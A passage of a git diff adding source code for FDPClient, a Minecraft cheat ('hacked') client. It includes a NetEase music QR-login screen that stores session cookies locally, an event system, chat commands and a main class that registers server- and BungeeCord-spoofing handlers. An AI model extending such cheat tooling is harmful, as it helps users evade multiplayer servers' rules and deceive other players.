(this.loginProcessThread != null) { + RenderUtils.drawImage(new ResourceLocation("cloudMusicCache/qrcode"), res.getScaledWidth() / 2 - 64, 70, 128, 128); + } + + super.drawScreen(mouseX, mouseY, partialTicks); + } + + @Override + protected void actionPerformed(GuiButton button) throws IOException { + + switch (button.id) { + + case 0: + this.loginProcessThread = new Thread(() -> { + try { + this.buttonList.get(0).enabled = false; + File fileDir = new File(mc.mcDataDir, ".cache/cookies.txt"); + + if (fileDir.exists()) fileDir.delete(); + + this.state = "正在创建Key..."; + String key = CloudMusicAPI.INSTANCE.QRKey(); + System.out.println("Key=" + key); + this.state = "生成二维码..."; + this.createQRImage(new File(mc.mcDataDir, ".cache/qrcode.png"), "https://music.163.com/login?codekey=" + key, 128, "png"); + + boolean needBreak = false; + + while (!needBreak) { + + if (!(mc.currentScreen instanceof QRLoginScreen)) needBreak = true; + + Object[] result = CloudMusicAPI.INSTANCE.QRState(key); + int code = (int) result[0]; + + switch (code) { + + case 800: + this.buttonList.get(0).enabled = true; + state = "二维码已过期, 请重试"; + needBreak = true; + break; + + case 801: + state = "等待用户扫码"; + break; + + case 802: + state = "等待用户授权"; + break; + + case 803: + StringBuilder sb = new StringBuilder(); + + int size = 0; + + for (Cookie c : ((CookieStore) result[1]).getCookies()) { + sb.append(c.getName()).append("=").append(c.getValue()).append(";"); + size++; + } + + CloudMusicAPI.INSTANCE.cookies = new String[size][2]; + + for (int i = 0; i < size; ++i) { + Cookie c = ((CookieStore) result[1]).getCookies().get(i); + CloudMusicAPI.INSTANCE.cookies[i][0] = c.getName(); + CloudMusicAPI.INSTANCE.cookies[i][1] = c.getValue(); + } + + FileUtils.writeStringToFile(fileDir, sb.substring(0, sb.toString().length() - 1)); + state = "成功登入, Cookie已保存至 " + fileDir.getAbsolutePath() + ", 请妥善保管!"; + needBreak = true; + default: + break; + } + } + + } catch (Exception ex) { + this.buttonList.get(0).enabled = true; + state = "发生未知错误, 请重试!"; + ex.printStackTrace(); + } + }); + + this.loginProcessThread.start(); + + break; + + case 1: + mc.displayGuiScreen(lastScreen); + + default: + break; + } + + super.actionPerformed(button); + } + + @Override + public void updateScreen() { + res = new ScaledResolution(mc); + super.updateScreen(); + } + + @Override + public boolean doesGuiPauseGame() { + return false; + } + + public void createQRImage(File qrFile, String qrCodeText, int size, String fileType) throws WriterException, IOException { + Hashtable<EncodeHintType, ErrorCorrectionLevel> hintMap = new Hashtable<>(); + hintMap.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.L); + QRCodeWriter qrCodeWriter = new QRCodeWriter(); + BitMatrix byteMatrix = qrCodeWriter.encode(qrCodeText, BarcodeFormat.QR_CODE, size, size, hintMap); + int matrixWidth = byteMatrix.getWidth(); + BufferedImage image = new BufferedImage(matrixWidth, matrixWidth, BufferedImage.TYPE_INT_RGB); + image.createGraphics(); + + Graphics2D graphics = (Graphics2D) image.getGraphics(); + graphics.setColor(Color.WHITE); + graphics.fillRect(0, 0, matrixWidth, matrixWidth); + graphics.setColor(Color.BLACK); + + for (int i = 0; i < matrixWidth; i++) { + for (int j = 0; j < matrixWidth; j++) { + if (byteMatrix.get(i, j)) { + graphics.fillRect(i, j, 1, 1); + } + } + } + + ImageIO.write(image, fileType, qrFile); + this.loadImage(qrFile); + } + + public void loadImage(File file) { + new Thread(() -> { + ResourceLocation rl = new ResourceLocation("cloudMusicCache/qrcode"); + IImageBuffer iib = new IImageBuffer() { + final ImageBufferDownload ibd = new ImageBufferDownload(); + + public BufferedImage parseUserSkin(BufferedImage image) { + return image; + } + + @Override + public void skinAvailable() { + } + }; + + ThreadDownloadImageData textureArt = new ThreadDownloadImageData(file, null, null, iib); + Minecraft.getMinecraft().getTextureManager().loadTexture(rl, textureArt); + }).start(); + } +} diff --git a/src/main/java/cn/hanabi/gui/cloudmusic/ui/TrackSlot.java b/src/main/java/cn/hanabi/gui/cloudmusic/ui/TrackSlot.java new file mode 100644 index 0000000..5ce0570 --- /dev/null +++ b/src/main/java/cn/hanabi/gui/cloudmusic/ui/TrackSlot.java @@ -0,0 +1,46 @@ +package cn.hanabi.gui.cloudmusic.ui; + +import cn.hanabi.gui.cloudmusic.MusicManager; +import cn.hanabi.gui.cloudmusic.impl.Track; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; + +import java.awt.*; + +public class TrackSlot { + + public Track track; + public float x; + public float y; + + public TrackSlot(Track t) { + this.track = t; + } + + public void render(float a, float b, int mouseX, int mouseY) { + this.x = a; + this.y = b; + + RenderUtils.drawRoundedRect(x, y, x + 137, y + 20, 2, 0xff34373c); + + Minecraft.getMinecraft().fontRendererObj.drawString(track.name, (int) (x + 2), (int) (y + 1), Color.WHITE.getRGB()); + Minecraft.getMinecraft().fontRendererObj.drawString(track.artists, (int) (x + 2), (int) (y + 10), Color.WHITE.getRGB()); + + RenderUtils.drawRoundedRect(x + 122, y, x + 137, y + 20, 2, 0xff34373c); + //RenderUtils.drawGradientSideways(x + 100, y, x + 124, y + 20, 0x00818181, 0xff34373c); + + Minecraft.getMinecraft().fontRendererObj.drawString(">", (int) (x + 125.5f), (int) (y + 5.5f), Color.WHITE.getRGB()); + + //RenderUtils.drawOutlinedRect(x + 125, y + 5, x + 135, y + 15, .5f, Color.RED.getRGB()); + } + + public void click(int mouseX, int mouseY, int mouseButton) { + if (RenderUtils.isHovering(mouseX, mouseY, x + 125, y + 5, x + 135, y + 15) && mouseButton == 0) { + try { + MusicManager.INSTANCE.play(track); + } catch (Exception e) { + e.printStackTrace(); + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt b/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt new file mode 100644 index 0000000..901fd9c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/FDPClient.kt @@ -0,0 +1,255 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce + +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.event.ClientShutdownEvent +import net.ccbluex.liquidbounce.event.EventManager +import net.ccbluex.liquidbounce.features.command.CommandManager +import net.ccbluex.liquidbounce.handler.macro.MacroManager +import net.ccbluex.liquidbounce.features.module.ModuleManager +import net.ccbluex.liquidbounce.file.FileManager +import net.ccbluex.liquidbounce.file.config.ConfigManager +import net.ccbluex.liquidbounce.handler.combat.CombatManager +import net.ccbluex.liquidbounce.handler.discord.DiscordRPC +import net.ccbluex.liquidbounce.handler.network.BungeeCordSpoof +import net.ccbluex.liquidbounce.handler.network.ClientFixes +import net.ccbluex.liquidbounce.handler.other.ServerSpoof +import net.ccbluex.liquidbounce.ui.client.gui.EnumLaunchFilter +import net.ccbluex.liquidbounce.ui.client.gui.LaunchFilterInfo +import net.ccbluex.liquidbounce.ui.client.gui.LaunchOption +import net.ccbluex.liquidbounce.ui.client.gui.GuiLaunchOptionSelectMenu +import net.ccbluex.liquidbounce.script.ScriptManager +import net.ccbluex.liquidbounce.ui.cape.GuiCapeManager +import net.ccbluex.liquidbounce.ui.client.hud.HUD +import net.ccbluex.liquidbounce.ui.client.keybind.KeyBindManager +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.ui.sound.TipSoundManager +import net.ccbluex.liquidbounce.utils.* +import net.ccbluex.liquidbounce.utils.misc.HttpUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiScreen +import net.minecraft.util.ResourceLocation +import java.util.* +import kotlin.concurrent.thread + +object FDPClient { + + // Client information + const val CLIENT_NAME = "FDPClientX-Reborn" + const val COLORED_NAME = "§7[§b§lFDPClient§7] " + const val CLIENT_CREATOR = "CCBlueX,Xebook1, Zywl & SkidderMC TEAM" + const val CLIENT_WEBSITE = "fdpinfo.github.io" + const val CLIENT_VERSION = "v5.6.0" + + // Flags + var isStarting = true + var isLoadingConfig = true + private var latest = "" + + @JvmField + val gitInfo = Properties().also { + val inputStream = FDPClient::class.java.classLoader.getResourceAsStream("git.properties") + if (inputStream != null) { + it.load(inputStream) + } else { + it["git.branch"] = "Main" + } + } + + @JvmField + val CLIENT_BRANCH = (gitInfo["git.branch"] ?: "unknown").let { + if (it == "main") "Main" else it + } + + // Managers + lateinit var moduleManager: ModuleManager + lateinit var commandManager: CommandManager + lateinit var eventManager: EventManager + lateinit var fileManager: FileManager + lateinit var scriptManager: ScriptManager + lateinit var tipSoundManager: TipSoundManager + lateinit var combatManager: CombatManager + lateinit var macroManager: MacroManager + lateinit var configManager: ConfigManager + + // Some UI things + lateinit var hud: HUD + lateinit var mainMenu: GuiScreen + lateinit var keyBindManager: KeyBindManager + + // Menu Background + var background: ResourceLocation? = ResourceLocation("fdpclient/background.png") + + val launchFilters = mutableListOf<EnumLaunchFilter>() + private val dynamicLaunchOptions: Array<LaunchOption> + get() = ClassUtils.resolvePackage( + "${LaunchOption::class.java.`package`.name}.options", + LaunchOption::class.java + ) + .filter { + val annotation = it.getDeclaredAnnotation(LaunchFilterInfo::class.java) + if (annotation != null) { + return@filter annotation.filters.toMutableList() == launchFilters + } + false + } + .map { + try { + it.newInstance() + } catch (e: IllegalAccessException) { + ClassUtils.getObjectInstance(it) as LaunchOption + } + }.toTypedArray() + + /** + * Execute if client will be started + */ + fun initClient() { + ClientUtils.logInfo("Loading $CLIENT_NAME $CLIENT_VERSION") + ClientUtils.logInfo("Initializing...") + val startTime = System.currentTimeMillis() + + // Initialize managers + fileManager = FileManager() + configManager = ConfigManager() + eventManager = EventManager() + commandManager = CommandManager() + macroManager = MacroManager() + moduleManager = ModuleManager() + scriptManager = ScriptManager() + keyBindManager = KeyBindManager() + combatManager = CombatManager() + tipSoundManager = TipSoundManager() + + // Load language + LanguageManager.switchLanguage(Minecraft.getMinecraft().gameSettings.language) + + // Register listeners + eventManager.registerListener(RotationUtils()) + eventManager.registerListener(ClientFixes) + eventManager.registerListener(InventoryUtils) + eventManager.registerListener(BungeeCordSpoof()) + eventManager.registerListener(ServerSpoof) + eventManager.registerListener(SessionUtils()) + eventManager.registerListener(StatisticsUtils()) + eventManager.registerListener(LocationCache()) + eventManager.registerListener(macroManager) + eventManager.registerListener(combatManager) + + // Load client fonts + Fonts.loadFonts() + + // Setup modules + moduleManager.registerModules() + + // Load and enable scripts + try { + scriptManager.loadScripts() + scriptManager.enableScripts() + } catch (throwable: Throwable) { + ClientUtils.logError("Failed to load scripts.", throwable) + } + + // Register commands + commandManager.registerCommands() + + // Load GUI + GuiCapeManager.load() + mainMenu = GuiLaunchOptionSelectMenu() + hud = HUD.createDefault() + + // Load configs + fileManager.loadConfigs( + fileManager.accountsConfig, + fileManager.friendsConfig, + fileManager.specialConfig, + fileManager.subscriptsConfig, + fileManager.hudConfig, + fileManager.xrayConfig + ) + + // Run update checker + if (CLIENT_VERSION != "unknown") { + thread(block = this::checkUpdate) + } + + // Set title + ClientUtils.setTitle() + + // Log success + ClientUtils.logInfo("$CLIENT_NAME $CLIENT_VERSION loaded in ${(System.currentTimeMillis() - startTime)}ms!") + } + + private fun checkUpdate() { + try { + val get = HttpUtils.get("https://api.github.com/repos/SkidderMC/FDPClient/commits/${gitInfo["git.branch"]}") + + val jsonObj = JsonParser() + .parse(get).asJsonObject + + latest = jsonObj.get("sha").asString.substring(0, 7) + + if (latest != gitInfo["git.commit.id.abbrev"]) { + ClientUtils.logInfo("New version available: $latest") + } else { + ClientUtils.logInfo("No new version available") + } + } catch (t: Throwable) { + ClientUtils.logError("Failed to check for updates.", t) + } + } + + /** + * Execute if client ui type is selected + */ + // Start dynamic launch options + fun startClient() { + dynamicLaunchOptions.forEach { + it.start() + } + + // Load configs + configManager.loadLegacySupport() + configManager.loadConfigSet() + + // Set is starting status + isStarting = false + isLoadingConfig = false + + ClientUtils.logInfo("$CLIENT_NAME $CLIENT_VERSION started!") + } + + /** + * Execute if client will be stopped + */ + fun stopClient() { + // Check if client is not starting or loading configurations + if (!isStarting && !isLoadingConfig) { + ClientUtils.logInfo("Shutting down $CLIENT_NAME $CLIENT_VERSION!") + + // Call client shutdown + eventManager.callEvent(ClientShutdownEvent()) + + // Save configurations + GuiCapeManager.save() // Save capes + configManager.save(true, forceSave = true) // Save configs + fileManager.saveAllConfigs() // Save file manager configs + + // Stop dynamic launch options + dynamicLaunchOptions.forEach { + it.stop() + } + } + // Stop Discord RPC + try { + DiscordRPC.stop() + } catch (e: Throwable) { + ClientUtils.logError("Failed to shutdown DiscordRPC.", e) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/event/Event.kt b/src/main/java/net/ccbluex/liquidbounce/event/Event.kt new file mode 100644 index 0000000..d03afee --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/event/Event.kt @@ -0,0 +1,29 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.event + +open class Event + +open class CancellableEvent : Event() { + + /** + * Let you know if the event is cancelled + * + * @return state of cancel + */ + var isCancelled: Boolean = false + + /** + * Allows you to cancel a event + */ + fun cancelEvent() { + isCancelled = true + } +} + +enum class EventState(val stateName: String) { + PRE("PRE"), POST("POST") +} diff --git a/src/main/java/net/ccbluex/liquidbounce/event/EventManager.kt b/src/main/java/net/ccbluex/liquidbounce/event/EventManager.kt new file mode 100644 index 0000000..53b9136 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/event/EventManager.kt @@ -0,0 +1,96 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.event + +import net.ccbluex.liquidbounce.utils.MinecraftInstance + +class EventManager : MinecraftInstance() { + + private val registry = HashMap<Class<out Event>, MutableList<EventHook>>() + +// private val counter = HashMap<Class<out Event>, Int>() +// private var lastSyncTime = System.currentTimeMillis() + + /** + * Register [listener] + */ + fun registerListener(listener: Listenable) { + for (method in listener.javaClass.declaredMethods) { + if (method.isAnnotationPresent(EventTarget::class.java) && method.parameterTypes.size == 1) { + try { + if (!method.isAccessible) { + method.isAccessible = true + } + + val eventClass = method.parameterTypes[0] as Class<out Event> + val eventTarget = method.getAnnotation(EventTarget::class.java) + + val invokableEventTargets = registry.getOrPut(eventClass) { mutableListOf() } + invokableEventTargets.add(EventHook(listener, method, eventTarget)) + registry[eventClass] = invokableEventTargets + } catch (t: Throwable) { + t.printStackTrace() + } + } + } + } + + /** + * Unregister listener + * + * @param listenable for unregister + */ + fun unregisterListener(listenable: Listenable) { + for ((key, targets) in registry) { + targets.removeIf { it.eventClass == listenable } + + registry[key] = targets + } + } + +// private fun printProfiler() { +// println("--- Event Profiler(${Date()}) ---") +// +// var total = 0 +// for((key, value) in counter.toList().sortedBy { it.second }) { +// println("${key.simpleName}: $value") +// total += value +// } +// println("total: $total") +// +// counter.clear() +// } + + /** + * Call event to listeners + * + * @param event to call + */ + fun callEvent(event: Event) { +// if(System.currentTimeMillis() - lastSyncTime > 1000) { +// printProfiler() +// lastSyncTime = System.currentTimeMillis() +// } +// counter[event.javaClass] = counter.getOrDefault(event.javaClass, 0) + 1 + + val targets = registry[event.javaClass] ?: return + try { + for (invokableEventTarget in targets) { + try { + if (!invokableEventTarget.eventClass.handleEvents() && !invokableEventTarget.isIgnoreCondition) { + continue + } + + invokableEventTarget.method.invoke(invokableEventTarget.eventClass, event) + } catch (throwable: Throwable) { + throwable.printStackTrace() + } + } + }catch (e :Exception){ + e.printStackTrace(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/event/EventType.java b/src/main/java/net/ccbluex/liquidbounce/event/EventType.java new file mode 100644 index 0000000..acf94e4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/event/EventType.java @@ -0,0 +1,6 @@ +package net.ccbluex.liquidbounce.event; + +public enum EventType { + PRE, + POST +} diff --git a/src/main/java/net/ccbluex/liquidbounce/event/Events.kt b/src/main/java/net/ccbluex/liquidbounce/event/Events.kt new file mode 100644 index 0000000..0b230da --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/event/Events.kt @@ -0,0 +1,211 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.event + +import net.minecraft.block.Block +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.model.ModelPlayer +import net.minecraft.client.multiplayer.WorldClient +import net.minecraft.entity.Entity +import net.minecraft.entity.EntityLivingBase +import net.minecraft.entity.player.EntityPlayer +import net.minecraft.network.Packet +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing + +/** + * Called when player attacks other entity + * + * @param targetEntity Attacked entity + */ +class AttackEvent(val targetEntity: Entity) : CancellableEvent() + +/** + * Called when player killed other entity + * + * @param targetEntity Attacked entity + */ +class EntityKilledEvent(val targetEntity: EntityLivingBase) : Event() + +/** + * Called when minecraft get bounding box of block + * + * @param blockPos block position of block + * @param block block itself + * @param boundingBox vanilla bounding box + */ +class BlockBBEvent(blockPos: BlockPos, val block: Block, var boundingBox: AxisAlignedBB?) : Event() { + val x = blockPos.x + val y = blockPos.y + val z = blockPos.z +} + +/** + * Called when player clicks a block + */ +class ClickBlockEvent(val clickedBlock: BlockPos?, val enumFacing: EnumFacing?) : Event() + + +/** + * Called when client is shutting down + */ +class ClientShutdownEvent : Event() + +/** + * Called when player jumps + * + * @param motion jump motion (y motion) + */ +class JumpEvent(var motion: Float, var yaw: Float) : CancellableEvent() + +/** + * Called when user press a key once + * + * @param key Pressed key + */ +class KeyEvent(val key: Int) : Event() + +/** + * Called in "onUpdateWalkingPlayer" + * + * @param eventState PRE or POST + */ +class MotionEvent(val eventState: EventState) : Event() { + fun isPre() : Boolean { + return eventState == EventState.PRE + } +} +/** + * Called after motion + */ +class PostMotionEvent: Event() + +/** + * Called when a model updates + */ +class UpdateModelEvent(val player: EntityPlayer, val model: ModelPlayer) : Event() + +/** + * Called when an entity receives damage + */ +class EntityDamageEvent(val damagedEntity: Entity): Event() + +/** + * Called in "onLivingUpdate" when the player is using a use item. + * + * @param strafe the applied strafe slow down + * @param forward the applied forward slow down + */ +class SlowDownEvent(var strafe: Float, var forward: Float) : Event() + +/** + * Called in "moveFlying" + */ +class StrafeEvent(var strafe: Float, var forward: Float, var friction: Float, var yaw: Float) : CancellableEvent() + + +/** + * Called when an other entity moves + */ +data class EntityMovementEvent(val movedEntity: Entity) : Event() +/** + * Called when player moves + * + * @param x motion + * @param y motion + * @param z motion + */ +class MoveEvent(var x: Double, var y: Double, var z: Double) : CancellableEvent() { + var isSafeWalk = false + + fun zero() { + x = 0.0 + y = 0.0 + z = 0.0 + } + + fun zeroXZ() { + x = 0.0 + z = 0.0 + } +} + +/** + * Called when receive or send a packet + */ +class PacketEvent(val packet: Packet<*>, val type: Type) : CancellableEvent() { + enum class Type { + RECEIVE, + SEND + } + + fun isServerSide() = type == Type.RECEIVE +} + +/** + * Called when a block tries to push you + */ +class PushOutEvent : CancellableEvent() + +/** + * Called when screen is going to be rendered + */ +class Render2DEvent(val partialTicks: Float, val scaledResolution: ScaledResolution) : Event() + +/** + * Called when world is going to be rendered + */ +class Render3DEvent(val partialTicks: Float) : Event() + +/** + * Called when the screen changes + */ +class ScreenEvent(val guiScreen: GuiScreen?) : Event() + +/** + * Called when the session changes + */ +class SessionEvent : Event() + +/** + * Called when player is going to step + */ +class StepEvent(var stepHeight: Float, val eventState: EventState) : Event() + + +/** + * Called when a text is going to be rendered + */ +class TextEvent(var text: String?) : Event() + +/** + * tick... tack... tick... tack + */ +class TickEvent : Event() + +class GameTickEvent : Event() +/** + * Called when minecraft player will be updated + */ +class UpdateEvent : Event() + +/** + * Called when the world changes + */ +class WorldEvent(val worldClient: WorldClient?) : Event() + +/** + * Called when window clicked + */ +class ClickWindowEvent(val windowId: Int, val slotId: Int, val mouseButtonClicked: Int, val mode: Int) : CancellableEvent() + +object ClickUpdateEvent : CancellableEvent() { + fun reInit() { + isCancelled = false; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt b/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt new file mode 100644 index 0000000..1ed0298 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/event/Listenable.kt @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.event + +import java.lang.reflect.Method + +interface Listenable { + fun handleEvents(): Boolean +} + +@Target(AnnotationTarget.FUNCTION, AnnotationTarget.PROPERTY_GETTER, AnnotationTarget.PROPERTY_SETTER, + AnnotationTarget.CLASS +) +@Retention(AnnotationRetention.RUNTIME) +annotation class EventTarget(val ignoreCondition: Boolean = false) + +internal class EventHook(val eventClass: Listenable, val method: Method, eventTarget: EventTarget) { + val isIgnoreCondition = eventTarget.ignoreCondition +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/Command.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/Command.kt new file mode 100644 index 0000000..d28675e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/Command.kt @@ -0,0 +1,66 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.client.audio.PositionedSoundRecord +import net.minecraft.util.ResourceLocation + +abstract class Command(val command: String, val alias: Array<String>) : MinecraftInstance() { + /** + * Execute commands with provided [args] + */ + abstract fun execute(args: Array<String>) + + /** + * Returns a list of command completions based on the provided [args]. + * If a command does not implement [tabComplete] an [EmptyList] is returned by default. + * + * @param args an array of command arguments that the player has passed to the command so far + * @return a list of matching completions for the command the player is trying to autocomplete + * @author NurMarvin + */ + open fun tabComplete(args: Array<String>): List<String> { + return emptyList() + } + + /** + * Print [msg] to chat as alert + */ + protected fun alert(msg: String) = ClientUtils.displayAlert(msg) + + /** + * Print [msg] to chat as plain text + */ + protected fun chat(msg: String) = ClientUtils.displayChatMessage(msg) + + /** + * Print [syntax] of command to chat + */ + protected fun chatSyntax(syntax: String) = ClientUtils.displayAlert("Syntax: §7${FDPClient.commandManager.prefix}$syntax") + + /** + * Print [syntaxes] of command to chat + */ + protected fun chatSyntax(syntaxes: Array<String>) { + ClientUtils.displayAlert("Syntax:") + + for (syntax in syntaxes) + ClientUtils.displayChatMessage("§8> §7${FDPClient.commandManager.prefix}$command ${syntax.lowercase()}") + } + + /** + * Print a syntax error to chat + */ + protected fun chatSyntaxError() = ClientUtils.displayAlert("Syntax error") + + /** + * Play edit sound + */ + protected fun playEdit() = mc.soundHandler.playSound(PositionedSoundRecord.create(ResourceLocation("random.anvil_use"), 1F)) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/CommandManager.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/CommandManager.kt new file mode 100644 index 0000000..66a6f0e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/CommandManager.kt @@ -0,0 +1,110 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command + +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.ClientUtils + +class CommandManager { + val commands = HashMap<String, Command>() + var latestAutoComplete: Array<String> = emptyArray() + + var prefix = '.' + + /** + * Register all default commands + */ + fun registerCommands() { + ClassUtils.resolvePackage("${this.javaClass.`package`.name}.commands", Command::class.java) + .forEach(this::registerCommand) + } + + /** + * Execute command by given [input] + */ + fun executeCommands(input: String) { + val args = input.split(" ").toTypedArray() + val command = commands[args[0].substring(1).lowercase()] + + if (command != null) { + command.execute(args) + } else { + ClientUtils.displayChatMessage("§cCommand not found. Type ${prefix}help to view all commands.") + } + } + + /** + * Updates the [latestAutoComplete] array based on the provided [input]. + * + * @param input text that should be used to check for auto completions. + * @author NurMarvin + */ + fun autoComplete(input: String): Boolean { + this.latestAutoComplete = this.getCompletions(input) ?: emptyArray() + return input.startsWith(this.prefix) && this.latestAutoComplete.isNotEmpty() + } + + /** + * Returns the auto completions for [input]. + * + * @param input text that should be used to check for auto completions. + * @author NurMarvin + */ + private fun getCompletions(input: String): Array<String>? { + if (input.isNotEmpty() && input.toCharArray()[0] == this.prefix) { + val args = input.split(" ") + + return if (args.size > 1) { + val command = getCommand(args[0].substring(1)) + val tabCompletions = command?.tabComplete(args.drop(1).toTypedArray()) + + tabCompletions?.toTypedArray() + } else { + commands.map { ".${it.key}" }.filter { it.lowercase().startsWith(args[0].lowercase()) }.toTypedArray() + } + } + return null + } + + /** + * Get command instance by given [name] + */ + fun getCommand(name: String): Command? { + return commands[name.lowercase()] + } + + /** + * Register [command] by just adding it to the commands registry + */ + fun registerCommand(command: Command) { + commands[command.command.lowercase()] = command + command.alias.forEach { + commands[it.lowercase()] = command + } + } + + /** + * Register [commandClass] + */ + private fun registerCommand(commandClass: Class<out Command>) { + try { + registerCommand(commandClass.newInstance()) + } catch (e: Throwable) { + ClientUtils.logError("Failed to load command: ${commandClass.name} (${e.javaClass.name}: ${e.message})") + } + } + + /** + * Unregister [command] by just removing it from the commands registry + */ + fun unregisterCommand(command: Command) { + commands.toList().forEach { + if (it.second == command) { + commands.remove(it.first) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/AutoDisableCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/AutoDisableCommand.kt new file mode 100644 index 0000000..5a07fba --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/AutoDisableCommand.kt @@ -0,0 +1,49 @@ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.utils.misc.StringUtils + +class AutoDisableCommand : Command("autodisable", arrayOf("ad")) { + private val modes = EnumAutoDisableType.values().map { it.name.lowercase() }.toTypedArray() + + override fun execute(args: Array<String>) { + if (args.size > 2) { + val module = FDPClient.moduleManager.getModule(args[1]) + + if (module == null) { + alert("Module '${args[1]}' not found.") + return + } + + module.autoDisable = try { + EnumAutoDisableType.valueOf(args[2].uppercase()) + } catch (e: IllegalArgumentException) { + EnumAutoDisableType.NONE + } + playEdit() + + alert("Set module §l${module.name}§r AutoDisable state to §l${module.autoDisable}§r.") + + return + } + + chatSyntax("autodisable <module> [${StringUtils.toCompleteString(modes,0,",")}]") + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(args[0], true) } + .toList() + + 2 -> modes.filter { it.startsWith(args[1], true) } + + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BindCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BindCommand.kt new file mode 100644 index 0000000..4089931 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BindCommand.kt @@ -0,0 +1,62 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.command.commands + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.features.command.Command +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import org.lwjgl.input.Keyboard + +class BindCommand : Command("bind", emptyArray()) { + /** + * Execute commands with provided [args] + */ + override fun execute(args: Array<String>) { + if (args.size > 1) { + // Get module by name + val module = FDPClient.moduleManager.getModule(args[1]) + + if (module == null) { + alert("Module §l" + args[1] + "§r not found.") + return + } + + if (args.size > 2) { + // Find key by name and change + val key = Keyboard.getKeyIndex(args[2].uppercase()) + module.keyBind = key + + // Response to user + alert("Bound module §l${module.name}§r to key §a§l${Keyboard.getKeyName(key)}§3.") + FDPClient.hud.addNotification( + Notification("KeyBind", "Bound ${module.name} to ${Keyboard.getKeyName(key)}.", NotifyType.INFO) + ) + playEdit() + } else { + FDPClient.moduleManager.pendingBindModule = module + alert("Press any key to bind module ${module.name}") + } + return + } + + chatSyntax(arrayOf("<module> <key>", "<module> none")) + } + + override fun tabComplete(args: Array<String>): List<String> { + if (args.isEmpty()) return emptyList() + + val moduleName = args[0] + + return when (args.size) { + 1 -> FDPClient.moduleManager.modules + .map { it.name } + .filter { it.startsWith(moduleName, true) } + .toList() + else -> emptyList() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BindsCommand.kt b/src/main/java/net/ccbluex/liquidbounce/features/command/commands/BindsCommand.kt new file mode 100644 index 0000000..81356f8 --- /dev/null +++ 